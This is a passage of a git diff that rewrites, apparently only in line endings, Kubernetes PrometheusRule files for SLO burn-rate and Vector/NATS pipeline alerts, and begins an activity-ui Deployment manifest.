6.0% = 0.06 (exhausts 5% of monthly budget in 6h → ticket) - # 3.0% = 0.03 (slow trend burn → low) - # - # Depends on recording rules in activity-slo-recordings (mixin). - # ========================================================================= - - name: activity-slo-burn - interval: 30s - rules: - - # ===================================================================== - # SLO: Metadata (activitypolicies GET/LIST/APPLY, latency < 1s) - # ===================================================================== - - - alert: ActivitySLOMetadataPageBurn - expr: | - activity:slo_metadata:error_ratio:rate1h > 0.144 - AND - activity:slo_metadata:error_ratio:rate5m > 0.144 - AND activity:slo_metadata:request_total:rate5m > 0 - for: 2m - labels: - severity: critical - component: activity-apiserver - slo: metadata - annotations: - summary: "ActivityPolicy metadata SLO burning fast — page" - description: >- - Error ratio is {{ $value | humanizePercentage }} over the last hour - (threshold: 14.4%). At this rate the 99% latency SLO error budget - will be exhausted within hours. Investigate activitypolicies GET/LIST/APPLY latency. - runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" - - - alert: ActivitySLOMetadataTicketBurn - expr: | - activity:slo_metadata:error_ratio:rate6h > 0.06 - AND - activity:slo_metadata:error_ratio:rate30m > 0.06 - AND activity:slo_metadata:request_total:rate5m > 0 - for: 5m - labels: - severity: warning - component: activity-apiserver - slo: metadata - annotations: - summary: "ActivityPolicy metadata SLO burning — create ticket" - description: >- - Error ratio is {{ $value | humanizePercentage }} over the last 6 hours - (threshold: 6%). The 99% latency SLO error budget is draining at an - elevated rate. Review activitypolicies request latency trends. - runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" - - - alert: ActivitySLOMetadataLowBurn - expr: | - activity:slo_metadata:error_ratio:rate3d > 0.03 - AND - activity:slo_metadata:error_ratio:rate6h > 0.03 - AND activity:slo_metadata:request_total:rate5m > 0 - for: 15m - labels: - severity: info - component: activity-apiserver - slo: metadata - annotations: - summary: "ActivityPolicy metadata SLO trending slow burn" - description: >- - Error ratio is {{ $value | humanizePercentage }} over the last 3 days - (threshold: 3%). The SLO error budget is slowly eroding. - No immediate action required but worth investigating. - runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" - - # ===================================================================== - # SLO: Audit Queries (auditlogqueries POST, latency < 3s) - # ===================================================================== - - - alert: ActivitySLOAuditQueryPageBurn - expr: | - activity:slo_audit_query:error_ratio:rate1h > 0.144 - AND - activity:slo_audit_query:error_ratio:rate5m > 0.144 - AND activity:slo_audit_query:request_total:rate5m > 0 - for: 2m - labels: - severity: critical - component: activity-apiserver - slo: audit_query - annotations: - summary: "Audit query SLO burning fast — page" - description: >- - Error ratio is {{ $value | humanizePercentage }} over the last hour - (threshold: 14.4%). AuditLogQuery POST latency is breaching the 3s - target at a rate that will exhaust the error budget within hours. - runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" - - - alert: ActivitySLOAuditQueryTicketBurn - expr: | - activity:slo_audit_query:error_ratio:rate6h > 0.06 - AND - activity:slo_audit_query:error_ratio:rate30m > 0.06 - AND activity:slo_audit_query:request_total:rate5m > 0 - for: 5m - labels: - severity: warning - component: activity-apiserver - slo: audit_query - annotations: - summary: "Audit query SLO burning — create ticket" - description: >- - Error ratio is {{ $value | humanizePercentage }} over the last 6 hours - (threshold: 6%). AuditLogQuery latency SLO error budget draining at - elevated rate. - runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" - - - alert: ActivitySLOAuditQueryLowBurn - expr: | - activity:slo_audit_query:error_ratio:rate3d > 0.03 - AND - activity:slo_audit_query:error_ratio:rate6h > 0.03 - AND activity:slo_audit_query:request_total:rate5m > 0 - for: 15m - labels: - severity: info - component: activity-apiserver - slo: audit_query - annotations: - summary: "Audit query SLO trending slow burn" - description: >- - Error ratio is {{ $value | humanizePercentage }} over the last 3 days - (threshold: 3%). Audit query latency SLO slowly eroding. - runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" - - # ===================================================================== - # SLO: Activity Queries (activityqueries + activityfacetqueries POST, - # latency < 3s) - # ===================================================================== - - - alert: ActivitySLOActivityQueryPageBurn - expr: | - activity:slo_activity_query:error_ratio:rate1h > 0.144 - AND - activity:slo_activity_query:error_ratio:rate5m > 0.144 - AND activity:slo_activity_query:request_total:rate5m > 0 - for: 2m - labels: - severity: critical - component: activity-apiserver - slo: activity_query - annotations: - summary: "Activity query SLO burning fast — page" - description: >- - Error ratio is {{ $value | humanizePercentage }} over the last hour - (threshold: 14.4%). ActivityQuery/ActivityFacetQuery POST latency is - breaching the 3s target at a rate that will exhaust the error budget - within hours. - runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" - - - alert: ActivitySLOActivityQueryTicketBurn - expr: | - activity:slo_activity_query:error_ratio:rate6h > 0.06 - AND - activity:slo_activity_query:error_ratio:rate30m > 0.06 - AND activity:slo_activity_query:request_total:rate5m > 0 - for: 5m - labels: - severity: warning - component: activity-apiserver - slo: activity_query - annotations: - summary: "Activity query SLO burning — create ticket" - description: >- - Error ratio is {{ $value | humanizePercentage }} over the last 6 hours - (threshold: 6%). Activity query latency SLO error budget draining at - elevated rate. - runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" - - - alert: ActivitySLOActivityQueryLowBurn - expr: | - activity:slo_activity_query:error_ratio:rate3d > 0.03 - AND - activity:slo_activity_query:error_ratio:rate6h > 0.03 - AND activity:slo_activity_query:request_total:rate5m > 0 - for: 15m - labels: - severity: info - component: activity-apiserver - slo: activity_query - annotations: - summary: "Activity query SLO trending slow burn" - description: >- - Error ratio is {{ $value | humanizePercentage }} over the last 3 days - (threshold: 3%). Activity query latency SLO slowly eroding. - runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" - - # ===================================================================== - # SLO: Event Queries (eventqueries + eventfacetqueries POST, latency < 3s) - # ===================================================================== - - - alert: ActivitySLOEventQueryPageBurn - expr: | - activity:slo_event_query:error_ratio:rate1h > 0.144 - AND - activity:slo_event_query:error_ratio:rate5m > 0.144 - AND activity:slo_event_query:request_total:rate5m > 0 - for: 2m - labels: - severity: critical - component: activity-apiserver - slo: event_query - annotations: - summary: "Event query SLO burning fast — page" - description: >- - Error ratio is {{ $value | humanizePercentage }} over the last hour - (threshold: 14.4%). EventQuery/EventFacetQuery POST latency is - breaching the 3s target at a rate that will exhaust the error budget - within hours. - runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" - - - alert: ActivitySLOEventQueryTicketBurn - expr: | - activity:slo_event_query:error_ratio:rate6h > 0.06 - AND - activity:slo_event_query:error_ratio:rate30m > 0.06 - AND activity:slo_event_query:request_total:rate5m > 0 - for: 5m - labels: - severity: warning - component: activity-apiserver - slo: event_query - annotations: - summary: "Event query SLO burning — create ticket" - description: >- - Error ratio is {{ $value | humanizePercentage }} over the last 6 hours - (threshold: 6%). Event query latency SLO error budget draining at - elevated rate. - runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" - - - alert: ActivitySLOEventQueryLowBurn - expr: | - activity:slo_event_query:error_ratio:rate3d > 0.03 - AND - activity:slo_event_query:error_ratio:rate6h > 0.03 - AND activity:slo_event_query:request_total:rate5m > 0 - for: 15m - labels: - severity: info - component: activity-apiserver - slo: event_query - annotations: - summary: "Event query SLO trending slow burn" - description: >- - Error ratio is {{ $value | humanizePercentage }} over the last 3 days - (threshold: 3%). Event query latency SLO slowly eroding. - runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" - - # ===================================================================== - # SLO: Availability (all verb!="WATCH", non-5xx responses) - # ===================================================================== - - - alert: ActivitySLOAvailabilityPageBurn - expr: | - activity:slo_availability:error_ratio:rate1h > 0.144 - AND - activity:slo_availability:error_ratio:rate5m > 0.144 - AND activity:slo_availability:request_total:rate5m > 0 - for: 2m - labels: - severity: critical - component: activity-apiserver - slo: availability - annotations: - summary: "Activity availability SLO burning fast — page" - description: >- - 5xx error ratio is {{ $value | humanizePercentage }} over the last hour - (threshold: 14.4%). The 99% availability SLO error budget will be - exhausted within hours. Investigate apiserver error logs immediately. - runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" - - - alert: ActivitySLOAvailabilityTicketBurn - expr: | - activity:slo_availability:error_ratio:rate6h > 0.06 - AND - activity:slo_availability:error_ratio:rate30m > 0.06 - AND activity:slo_availability:request_total:rate5m > 0 - for: 5m - labels: - severity: warning - component: activity-apiserver - slo: availability - annotations: - summary: "Activity availability SLO burning — create ticket" - description: >- - 5xx error ratio is {{ $value | humanizePercentage }} over the last 6 hours - (threshold: 6%). Availability SLO error budget draining at elevated rate. - runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" - - - alert: ActivitySLOAvailabilityLowBurn - expr: | - activity:slo_availability:error_ratio:rate3d > 0.03 - AND - activity:slo_availability:error_ratio:rate6h > 0.03 - AND activity:slo_availability:request_total:rate5m > 0 - for: 15m - labels: - severity: info - component: activity-apiserver - slo: availability - annotations: - summary: "Activity availability SLO trending slow burn" - description: >- - 5xx error ratio is {{ $value | humanizePercentage }} over the last 3 days - (threshold: 3%). Availability SLO slowly eroding. - runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" +apiVersion: monitoring.coreos.com/v1 +kind: PrometheusRule +metadata: + name: activity-slo-alerts + namespace: activity-system + labels: + prometheus: activity + app.kubernetes.io/part-of: activity + monitoring: "true" +spec: + groups: + # ========================================================================= + # SLO Burn-Rate Alerts + # + # Three urgency tiers per SLO (5 SLOs × 3 = 15 alerts total): + # Page (critical) — fast burn: >14.4x over 1h AND 5m windows + # Ticket (warning) — slow burn: >6x over 6h AND 30m windows + # Low (info) — trend: >3x over 3d AND 6h windows + # + # Error budget: 0.01 (99% SLO target) + # Burn-rate thresholds: + # 14.4% = 0.144 (exhausts 5% of monthly budget in 1h → page) + # 6.0% = 0.06 (exhausts 5% of monthly budget in 6h → ticket) + # 3.0% = 0.03 (slow trend burn → low) + # + # Depends on recording rules in activity-slo-recordings (mixin). + # ========================================================================= + - name: activity-slo-burn + interval: 30s + rules: + + # ===================================================================== + # SLO: Metadata (activitypolicies GET/LIST/APPLY, latency < 1s) + # ===================================================================== + + - alert: ActivitySLOMetadataPageBurn + expr: | + activity:slo_metadata:error_ratio:rate1h > 0.144 + AND + activity:slo_metadata:error_ratio:rate5m > 0.144 + AND activity:slo_metadata:request_total:rate5m > 0 + for: 2m + labels: + severity: critical + component: activity-apiserver + slo: metadata + annotations: + summary: "ActivityPolicy metadata SLO burning fast — page" + description: >- + Error ratio is {{ $value | humanizePercentage }} over the last hour + (threshold: 14.4%). At this rate the 99% latency SLO error budget + will be exhausted within hours. Investigate activitypolicies GET/LIST/APPLY latency. + runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" + + - alert: ActivitySLOMetadataTicketBurn + expr: | + activity:slo_metadata:error_ratio:rate6h > 0.06 + AND + activity:slo_metadata:error_ratio:rate30m > 0.06 + AND activity:slo_metadata:request_total:rate5m > 0 + for: 5m + labels: + severity: warning + component: activity-apiserver + slo: metadata + annotations: + summary: "ActivityPolicy metadata SLO burning — create ticket" + description: >- + Error ratio is {{ $value | humanizePercentage }} over the last 6 hours + (threshold: 6%). The 99% latency SLO error budget is draining at an + elevated rate. Review activitypolicies request latency trends. + runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" + + - alert: ActivitySLOMetadataLowBurn + expr: | + activity:slo_metadata:error_ratio:rate3d > 0.03 + AND + activity:slo_metadata:error_ratio:rate6h > 0.03 + AND activity:slo_metadata:request_total:rate5m > 0 + for: 15m + labels: + severity: info + component: activity-apiserver + slo: metadata + annotations: + summary: "ActivityPolicy metadata SLO trending slow burn" + description: >- + Error ratio is {{ $value | humanizePercentage }} over the last 3 days + (threshold: 3%). The SLO error budget is slowly eroding. + No immediate action required but worth investigating. + runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" + + # ===================================================================== + # SLO: Audit Queries (auditlogqueries POST, latency < 3s) + # ===================================================================== + + - alert: ActivitySLOAuditQueryPageBurn + expr: | + activity:slo_audit_query:error_ratio:rate1h > 0.144 + AND + activity:slo_audit_query:error_ratio:rate5m > 0.144 + AND activity:slo_audit_query:request_total:rate5m > 0 + for: 2m + labels: + severity: critical + component: activity-apiserver + slo: audit_query + annotations: + summary: "Audit query SLO burning fast — page" + description: >- + Error ratio is {{ $value | humanizePercentage }} over the last hour + (threshold: 14.4%). AuditLogQuery POST latency is breaching the 3s + target at a rate that will exhaust the error budget within hours. + runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" + + - alert: ActivitySLOAuditQueryTicketBurn + expr: | + activity:slo_audit_query:error_ratio:rate6h > 0.06 + AND + activity:slo_audit_query:error_ratio:rate30m > 0.06 + AND activity:slo_audit_query:request_total:rate5m > 0 + for: 5m + labels: + severity: warning + component: activity-apiserver + slo: audit_query + annotations: + summary: "Audit query SLO burning — create ticket" + description: >- + Error ratio is {{ $value | humanizePercentage }} over the last 6 hours + (threshold: 6%). AuditLogQuery latency SLO error budget draining at + elevated rate. + runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" + + - alert: ActivitySLOAuditQueryLowBurn + expr: | + activity:slo_audit_query:error_ratio:rate3d > 0.03 + AND + activity:slo_audit_query:error_ratio:rate6h > 0.03 + AND activity:slo_audit_query:request_total:rate5m > 0 + for: 15m + labels: + severity: info + component: activity-apiserver + slo: audit_query + annotations: + summary: "Audit query SLO trending slow burn" + description: >- + Error ratio is {{ $value | humanizePercentage }} over the last 3 days + (threshold: 3%). Audit query latency SLO slowly eroding. + runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" + + # ===================================================================== + # SLO: Activity Queries (activityqueries + activityfacetqueries POST, + # latency < 3s) + # ===================================================================== + + - alert: ActivitySLOActivityQueryPageBurn + expr: | + activity:slo_activity_query:error_ratio:rate1h > 0.144 + AND + activity:slo_activity_query:error_ratio:rate5m > 0.144 + AND activity:slo_activity_query:request_total:rate5m > 0 + for: 2m + labels: + severity: critical + component: activity-apiserver + slo: activity_query + annotations: + summary: "Activity query SLO burning fast — page" + description: >- + Error ratio is {{ $value | humanizePercentage }} over the last hour + (threshold: 14.4%). ActivityQuery/ActivityFacetQuery POST latency is + breaching the 3s target at a rate that will exhaust the error budget + within hours. + runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" + + - alert: ActivitySLOActivityQueryTicketBurn + expr: | + activity:slo_activity_query:error_ratio:rate6h > 0.06 + AND + activity:slo_activity_query:error_ratio:rate30m > 0.06 + AND activity:slo_activity_query:request_total:rate5m > 0 + for: 5m + labels: + severity: warning + component: activity-apiserver + slo: activity_query + annotations: + summary: "Activity query SLO burning — create ticket" + description: >- + Error ratio is {{ $value | humanizePercentage }} over the last 6 hours + (threshold: 6%). Activity query latency SLO error budget draining at + elevated rate. + runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" + + - alert: ActivitySLOActivityQueryLowBurn + expr: | + activity:slo_activity_query:error_ratio:rate3d > 0.03 + AND + activity:slo_activity_query:error_ratio:rate6h > 0.03 + AND activity:slo_activity_query:request_total:rate5m > 0 + for: 15m + labels: + severity: info + component: activity-apiserver + slo: activity_query + annotations: + summary: "Activity query SLO trending slow burn" + description: >- + Error ratio is {{ $value | humanizePercentage }} over the last 3 days + (threshold: 3%). Activity query latency SLO slowly eroding. + runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" + + # ===================================================================== + # SLO: Event Queries (eventqueries + eventfacetqueries POST, latency < 3s) + # ===================================================================== + + - alert: ActivitySLOEventQueryPageBurn + expr: | + activity:slo_event_query:error_ratio:rate1h > 0.144 + AND + activity:slo_event_query:error_ratio:rate5m > 0.144 + AND activity:slo_event_query:request_total:rate5m > 0 + for: 2m + labels: + severity: critical + component: activity-apiserver + slo: event_query + annotations: + summary: "Event query SLO burning fast — page" + description: >- + Error ratio is {{ $value | humanizePercentage }} over the last hour + (threshold: 14.4%). EventQuery/EventFacetQuery POST latency is + breaching the 3s target at a rate that will exhaust the error budget + within hours. + runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" + + - alert: ActivitySLOEventQueryTicketBurn + expr: | + activity:slo_event_query:error_ratio:rate6h > 0.06 + AND + activity:slo_event_query:error_ratio:rate30m > 0.06 + AND activity:slo_event_query:request_total:rate5m > 0 + for: 5m + labels: + severity: warning + component: activity-apiserver + slo: event_query + annotations: + summary: "Event query SLO burning — create ticket" + description: >- + Error ratio is {{ $value | humanizePercentage }} over the last 6 hours + (threshold: 6%). Event query latency SLO error budget draining at + elevated rate. + runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" + + - alert: ActivitySLOEventQueryLowBurn + expr: | + activity:slo_event_query:error_ratio:rate3d > 0.03 + AND + activity:slo_event_query:error_ratio:rate6h > 0.03 + AND activity:slo_event_query:request_total:rate5m > 0 + for: 15m + labels: + severity: info + component: activity-apiserver + slo: event_query + annotations: + summary: "Event query SLO trending slow burn" + description: >- + Error ratio is {{ $value | humanizePercentage }} over the last 3 days + (threshold: 3%). Event query latency SLO slowly eroding. + runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" + + # ===================================================================== + # SLO: Availability (all verb!="WATCH", non-5xx responses) + # ===================================================================== + + - alert: ActivitySLOAvailabilityPageBurn + expr: | + activity:slo_availability:error_ratio:rate1h > 0.144 + AND + activity:slo_availability:error_ratio:rate5m > 0.144 + AND activity:slo_availability:request_total:rate5m > 0 + for: 2m + labels: + severity: critical + component: activity-apiserver + slo: availability + annotations: + summary: "Activity availability SLO burning fast — page" + description: >- + 5xx error ratio is {{ $value | humanizePercentage }} over the last hour + (threshold: 14.4%). The 99% availability SLO error budget will be + exhausted within hours. Investigate apiserver error logs immediately. + runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" + + - alert: ActivitySLOAvailabilityTicketBurn + expr: | + activity:slo_availability:error_ratio:rate6h > 0.06 + AND + activity:slo_availability:error_ratio:rate30m > 0.06 + AND activity:slo_availability:request_total:rate5m > 0 + for: 5m + labels: + severity: warning + component: activity-apiserver + slo: availability + annotations: + summary: "Activity availability SLO burning — create ticket" + description: >- + 5xx error ratio is {{ $value | humanizePercentage }} over the last 6 hours + (threshold: 6%). Availability SLO error budget draining at elevated rate. + runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" + + - alert: ActivitySLOAvailabilityLowBurn + expr: | + activity:slo_availability:error_ratio:rate3d > 0.03 + AND + activity:slo_availability:error_ratio:rate6h > 0.03 + AND activity:slo_availability:request_total:rate5m > 0 + for: 15m + labels: + severity: info + component: activity-apiserver + slo: availability + annotations: + summary: "Activity availability SLO trending slow burn" + description: >- + 5xx error ratio is {{ $value | humanizePercentage }} over the last 3 days + (threshold: 3%). Availability SLO slowly eroding. + runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/slo-burn.md" diff --git a/config/components/observability/alerts/vector-alerts.yaml b/config/components/observability/alerts/vector-alerts.yaml index 14d01655..188bac14 100644 --- a/config/components/observability/alerts/vector-alerts.yaml +++ b/config/components/observability/alerts/vector-alerts.yaml @@ -1,151 +1,151 @@ -apiVersion: monitoring.coreos.com/v1 -kind: PrometheusRule -metadata: - name: vector-alerts - namespace: activity-system - labels: - prometheus: activity - app.kubernetes.io/part-of: activity - monitoring: "true" -spec: - groups: - # ========================================================================= - # Vector Aggregator Health - NATS to ClickHouse Pipeline - # ========================================================================= - - name: vector-aggregator - interval: 30s - rules: - # NATS Source Stalled - Detects lame duck mode disconnection issue - # All NATS sources stopped receiving - strong signal of connection failure - - alert: VectorAllNATSSourcesStalled - expr: | - sum(rate(vector_component_received_events_total{component_type="nats"}[5m])) == 0 - for: 5m - labels: - severity: critical - component: vector-aggregator - issue: nats-reconnect - annotations: - summary: "All Vector NATS sources stopped - likely lame duck reconnection failure" - description: "No NATS sources are receiving events. This typically indicates Vector's NATS connection did not recover after server entered lame duck mode." - runbook: "Restart vector-aggregator pods: kubectl rollout restart statefulset/vector-aggregator -n activity-system" - issue_link: "https://github.com/datum-cloud/activity/issues/82" - - # NATS Source Stalled with audit event backlog confirmation - - alert: VectorNATSAuditStalledWithBacklog - expr: | - ( - sum(rate(vector_component_received_events_total{component_type="nats"}[5m])) == 0 - ) - AND ON() - ( - sum(nats_jetstream_consumer_num_pending{stream="AUDIT_EVENTS"}) > 100 - ) - for: 5m - labels: - severity: critical - component: vector-aggregator - issue: nats-reconnect - annotations: - summary: "Vector NATS stalled with audit event backlog" - description: "Vector not receiving from NATS but audit events are pending in JetStream. Confirms reconnection failure." - runbook: "Restart vector-aggregator pods: kubectl rollout restart statefulset/vector-aggregator -n activity-system" - - # Individual NATS source not receiving - more granular detection - - alert: VectorNATSAuditSourceStopped - expr: | - rate(vector_component_received_events_total{component_id="nats_audit_consumer"}[10m]) == 0 - for: 10m - labels: - severity: warning - component: vector-aggregator - source: nats_audit_consumer - annotations: - summary: "Vector audit event source stopped receiving" - description: "The nats_audit_consumer source has not received events for 10+ minutes." - impact: "Audit events not flowing to ClickHouse" - - # Low-volume stream: only alert when messages are pending but not being consumed. - # Zero rate alone is expected — activities arrive at ~10/hour with multi-hour gaps of - # zero traffic being normal when no ActivityPolicy-matching events are occurring. - - alert: VectorNATSActivitiesConsumerStalled - expr: | - ( - rate(vector_component_received_events_total{component_id="nats_activities_consumer"}[30m]) == 0 - ) - AND ON() - ( - sum(nats_jetstream_consumer_num_pending{stream="ACTIVITIES"}) > 0 - ) - for: 15m - labels: - severity: warning - component: vector-aggregator - source: nats_activities_consumer - annotations: - summary: "Vector activities consumer stalled with pending messages" - description: "The nats_activities_consumer has not received events for 30+ minutes but messages are pending in the ACTIVITIES stream. Consumer may be stuck." - impact: "Activities backlogged in NATS — not flowing to ClickHouse" - - # Low-volume stream: only alert when messages are pending but not being consumed. - # Zero rate alone is expected — k8s events arrive at ~5/hour with multi-hour gaps of - # zero traffic being normal. - - alert: VectorNATSEventsConsumerStalled - expr: | - ( - rate(vector_component_received_events_total{component_id="nats_events_consumer"}[30m]) == 0 - ) - AND ON() - ( - sum(nats_jetstream_consumer_num_pending{stream="EVENTS"}) > 0 - ) - for: 15m - labels: - severity: warning - component: vector-aggregator - source: nats_events_consumer - annotations: - summary: "Vector events consumer stalled with pending messages" - description: "The nats_events_consumer has not received events for 30+ minutes but messages are pending in the EVENTS stream. Consumer may be stuck." - impact: "Kubernetes events backlogged in NATS — not flowing to ClickHouse" - - # Vector component errors - early warning - - alert: VectorComponentErrors - expr: | - rate(vector_component_errors_total{component_type="nats"}[5m]) > 0.1 - for: 5m - labels: - severity: warning - component: vector-aggregator - annotations: - summary: "Vector NATS component experiencing errors" - description: "{{ $labels.component_id }} has {{ $value | humanize }} errors/sec" - impact: "Potential data loss or pipeline degradation" - - # ClickHouse sink backpressure - buffer filling up - - alert: VectorClickHouseSinkBackpressure - expr: | - vector_buffer_events{component_type="clickhouse"} > 50000 - for: 10m - labels: - severity: warning - component: vector-aggregator - annotations: - summary: "Vector ClickHouse sink buffer filling up" - description: "{{ $value }} events buffered for {{ $labels.component_id }}. ClickHouse may be slow or unavailable." - impact: "Risk of data loss if buffer fills completely" - - # Vector pod not ready - - alert: VectorAggregatorNotReady - expr: | - kube_statefulset_status_replicas_ready{statefulset="vector-aggregator", namespace="activity-system"} - < - kube_statefulset_status_replicas{statefulset="vector-aggregator", namespace="activity-system"} - for: 5m - labels: - severity: warning - component: vector-aggregator - annotations: - summary: "Vector aggregator pods not ready" - description: "{{ $value }} vector-aggregator pods are not ready" - impact: "Reduced pipeline capacity" +apiVersion: monitoring.coreos.com/v1 +kind: PrometheusRule +metadata: + name: vector-alerts + namespace: activity-system + labels: + prometheus: activity + app.kubernetes.io/part-of: activity + monitoring: "true" +spec: + groups: + # ========================================================================= + # Vector Aggregator Health - NATS to ClickHouse Pipeline + # ========================================================================= + - name: vector-aggregator + interval: 30s + rules: + # NATS Source Stalled - Detects lame duck mode disconnection issue + # All NATS sources stopped receiving - strong signal of connection failure + - alert: VectorAllNATSSourcesStalled + expr: | + sum(rate(vector_component_received_events_total{component_type="nats"}[5m])) == 0 + for: 5m + labels: + severity: critical + component: vector-aggregator + issue: nats-reconnect + annotations: + summary: "All Vector NATS sources stopped - likely lame duck reconnection failure" + description: "No NATS sources are receiving events. This typically indicates Vector's NATS connection did not recover after server entered lame duck mode." + runbook: "Restart vector-aggregator pods: kubectl rollout restart statefulset/vector-aggregator -n activity-system" + issue_link: "https://github.com/datum-cloud/activity/issues/82" + + # NATS Source Stalled with audit event backlog confirmation + - alert: VectorNATSAuditStalledWithBacklog + expr: | + ( + sum(rate(vector_component_received_events_total{component_type="nats"}[5m])) == 0 + ) + AND ON() + ( + sum(nats_jetstream_consumer_num_pending{stream="AUDIT_EVENTS"}) > 100 + ) + for: 5m + labels: + severity: critical + component: vector-aggregator + issue: nats-reconnect + annotations: + summary: "Vector NATS stalled with audit event backlog" + description: "Vector not receiving from NATS but audit events are pending in JetStream. Confirms reconnection failure." + runbook: "Restart vector-aggregator pods: kubectl rollout restart statefulset/vector-aggregator -n activity-system" + + # Individual NATS source not receiving - more granular detection + - alert: VectorNATSAuditSourceStopped + expr: | + rate(vector_component_received_events_total{component_id="nats_audit_consumer"}[10m]) == 0 + for: 10m + labels: + severity: warning + component: vector-aggregator + source: nats_audit_consumer + annotations: + summary: "Vector audit event source stopped receiving" + description: "The nats_audit_consumer source has not received events for 10+ minutes." + impact: "Audit events not flowing to ClickHouse" + + # Low-volume stream: only alert when messages are pending but not being consumed. + # Zero rate alone is expected — activities arrive at ~10/hour with multi-hour gaps of + # zero traffic being normal when no ActivityPolicy-matching events are occurring. + - alert: VectorNATSActivitiesConsumerStalled + expr: | + ( + rate(vector_component_received_events_total{component_id="nats_activities_consumer"}[30m]) == 0 + ) + AND ON() + ( + sum(nats_jetstream_consumer_num_pending{stream="ACTIVITIES"}) > 0 + ) + for: 15m + labels: + severity: warning + component: vector-aggregator + source: nats_activities_consumer + annotations: + summary: "Vector activities consumer stalled with pending messages" + description: "The nats_activities_consumer has not received events for 30+ minutes but messages are pending in the ACTIVITIES stream. Consumer may be stuck." + impact: "Activities backlogged in NATS — not flowing to ClickHouse" + + # Low-volume stream: only alert when messages are pending but not being consumed. + # Zero rate alone is expected — k8s events arrive at ~5/hour with multi-hour gaps of + # zero traffic being normal. + - alert: VectorNATSEventsConsumerStalled + expr: | + ( + rate(vector_component_received_events_total{component_id="nats_events_consumer"}[30m]) == 0 + ) + AND ON() + ( + sum(nats_jetstream_consumer_num_pending{stream="EVENTS"}) > 0 + ) + for: 15m + labels: + severity: warning + component: vector-aggregator + source: nats_events_consumer + annotations: + summary: "Vector events consumer stalled with pending messages" + description: "The nats_events_consumer has not received events for 30+ minutes but messages are pending in the EVENTS stream. Consumer may be stuck." + impact: "Kubernetes events backlogged in NATS — not flowing to ClickHouse" + + # Vector component errors - early warning + - alert: VectorComponentErrors + expr: | + rate(vector_component_errors_total{component_type="nats"}[5m]) > 0.1 + for: 5m + labels: + severity: warning + component: vector-aggregator + annotations: + summary: "Vector NATS component experiencing errors" + description: "{{ $labels.component_id }} has {{ $value | humanize }} errors/sec" + impact: "Potential data loss or pipeline degradation" + + # ClickHouse sink backpressure - buffer filling up + - alert: VectorClickHouseSinkBackpressure + expr: | + vector_buffer_events{component_type="clickhouse"} > 50000 + for: 10m + labels: + severity: warning + component: vector-aggregator + annotations: + summary: "Vector ClickHouse sink buffer filling up" + description: "{{ $value }} events buffered for {{ $labels.component_id }}. ClickHouse may be slow or unavailable." + impact: "Risk of data loss if buffer fills completely" + + # Vector pod not ready + - alert: VectorAggregatorNotReady + expr: | + kube_statefulset_status_replicas_ready{statefulset="vector-aggregator", namespace="activity-system"} + < + kube_statefulset_status_replicas{statefulset="vector-aggregator", namespace="activity-system"} + for: 5m + labels: + severity: warning + component: vector-aggregator + annotations: + summary: "Vector aggregator pods not ready" + description: "{{ $value }} vector-aggregator pods are not ready" + impact: "Reduced pipeline capacity" diff --git a/config/components/ui/deployment.yaml b/config/components/ui/deployment.yaml index 073fedd0..85c2fce5 100644 --- a/config/components/ui/deployment.yaml +++ b/config/components/ui/deployment.yaml @@ -1,100 +1,100 @@ -apiVersion: apps/v1 -kind: Deployment -metadata: - name: activity-ui - namespace: activity-system - labels: - app: activity-ui -spec: - replicas: 1 - selector: - matchLabels: - app: activity-ui - template: - metadata: - labels: - app: activity-ui - spec: - serviceAccountName: activity-ui - securityContext: - runAsNonRoot: true - runAsUser: 1000 - runAsGroup: 1000 - fsGroup: 1000 - seccompProfile: - type: RuntimeDefault - containers: - - name: ui - image: ghcr.io/datum-cloud/activity-ui:latest - imagePullPolicy: IfNotPresent - securityContext: - allowPrivilegeEscalation: false - readOnlyRootFilesystem: false - runAsNonRoot: true - runAsUser: 1000 - capabilities: - drop: - - ALL - env: - # URL to the activity-apiserver for proxying API requests - - name: ACTIVITY_API_SERVER_URL - value: "https://activity-apiserver.activity-system.svc:443" - # Use the control plane CA for TLS verification (matches apiserver's serving cert) - - name: ACTIVITY_API_CA_FILE - value: "/etc/activity-apiserver-ca/ca.crt" - # Client certificate for mTLS authentication to activity-apiserver - - name: ACTIVITY_API_CERT_FILE - value: "/etc/activity-client-cert/tls.crt" - 